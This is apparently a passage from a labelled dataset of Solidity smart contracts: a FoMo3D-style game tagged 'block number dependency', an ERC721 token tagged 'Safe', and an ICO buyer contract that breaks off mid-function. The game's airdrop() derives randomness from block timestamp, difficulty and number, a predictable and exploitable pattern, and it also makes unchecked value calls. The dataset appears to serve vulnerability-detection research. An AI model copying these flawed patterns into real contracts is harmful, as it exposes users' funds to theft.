(1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x024008f43b1956e111cdb88a76b517cb4b241c7e_HLPMTToken.sol,"pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256(""onERC721Received(address,uint256,bytes)""))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0xf0b9e5ba; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256(""onERC721Received(address,uint256,bytes)""))` */ function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4); } /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256(""onERC721Received(address,uint256,bytes)""))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Checks msg.sender can transfer a token, by being owner, approved, or operator * @param _tokenId uint256 ID of the token to validate */ modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * @dev The zero address indicates there is no approved address. * @dev There can only be one approved address per token at a given time. * @dev Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * @dev An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256(""onERC721Received(address,uint256,bytes)""))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, """"); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256(""onERC721Received(address,uint256,bytes)""))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @dev Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; address public pendingOwner; address public manager; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Modifier throws if called by any account other than the manager. */ modifier onlyManager() { require(msg.sender == manager); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } constructor() public { owner = msg.sender; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } /** * @dev Sets the manager address. * @param _manager The manager address. */ function setManager(address _manager) public onlyOwner { require(_manager != address(0)); manager = _manager; } } /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract HLPMTToken is SupportsInterfaceWithLookup, ERC721, ERC721BasicToken, Ownable { bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ // Token name string public name_ = ""HyperLoot Protocol Mining Token""; // Token symbol string public symbol_ = ""HLPMT""; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(address _holder1, address _holder2) public { for (uint8 i = 0; i < 10; i++) { _mint(_holder1, i); } for (i = 10; i < 20; i++) { _mint(_holder2, i); } // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } /** * @dev External function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token */ function mint(address _to, uint256 _id) external onlyManager { _mint(_to, _id); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string) { return symbol_; } function arrayOfTokensByAddress(address _holder) public view returns(uint256[]) { return ownedTokens[_holder]; } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * @dev Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are // going to be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are // first swapping the lastToken to the first position, and then dropping the element placed in the last // position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token */ function _mint(address _to, uint256 _id) internal { allTokens.push(_id); allTokensIndex[_id] = _id; super._mint(_to, _id); } }",Safe,8,8 38389.sol,"pragma solidity ^0.4.13; /* District Buyer ======================== Buys District tokens from the crowdsale on your behalf. Author: /u/Cintix */ // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); } contract DistrictBuyer { // Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; // Bounty for executing buy. uint256 public bounty; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record the time the contract bought the tokens. uint256 public time_bought; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; // Emergency kill switch in case a critical bug is found. bool public kill_switch; // SHA3 hash of kill switch password. bytes32 password_hash = 0x1b266c9bad3a46ed40bf43471d89b83712ed06c2250887c457f5f21f17b2eb97; // Earliest time contract is allowed to buy into the crowdsale. uint256 earliest_buy_time = 1500390000; // The developer address. address developer = 0x000Fb8369677b3065dE5821a86Bc9551d5e5EAb9; // The crowdsale address. address public sale = 0xF8094e15c897518B5Ac5287d7070cA5850eFc6ff; // The token address. ERC20 public token = ERC20(0x0AbdAce70D3790235af448C88547603b945604ea); // Allows the developer or anyone with the password to claim the bounty and shut down everything except withdrawals in emergencies. function activate_kill_switch(string password) { // Only activate the kill switch if the sender is the developer or the password is correct. if (msg.sender != developer && sha3(password) != password_hash) throw; // Store the claimed bounty in a temporary variable. uint256 claimed_bounty = bounty; // Update bounty prior to sending to prevent recursive call. bounty = 0; // Irreversibly activate the kill switch. kill_switch = true; // Send the caller their bounty for activating the kill switch. msg.sender.transfer(claimed_bounty); } // Withdraws all ETH deposited or tokens purchased by the user. // ""internal"" means this function is not externally callable. function withdraw(address user, bool has_fee) internal { // If called before the ICO, cancel user's participation in the sale. if (!bought_tokens) { // Store the user's balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[user]; // Update the user's balance prior to sending ETH to prevent recursive call. balances[user] = 0; // Return the user's funds. Throws on failure to prevent loss of funds. user.transfer(eth_to_withdraw); } // Withdraw the user's tokens if the contract has already purchased them. else { // Retrieve current token balance of contract. uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. if (contract_token_balance == 0) throw; // Store the user's token balance in a temporary variable. uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[user]; // Update the user's balance prior to sending to prevent recursive call. balances[user] = 0; // No fee if the user withdraws their own funds manually. uint256 fee = 0; // 1% fee for automatic withdrawals. if (has_fee) { fee = tokens_to_withdraw / 100; // Send the fee to the developer. 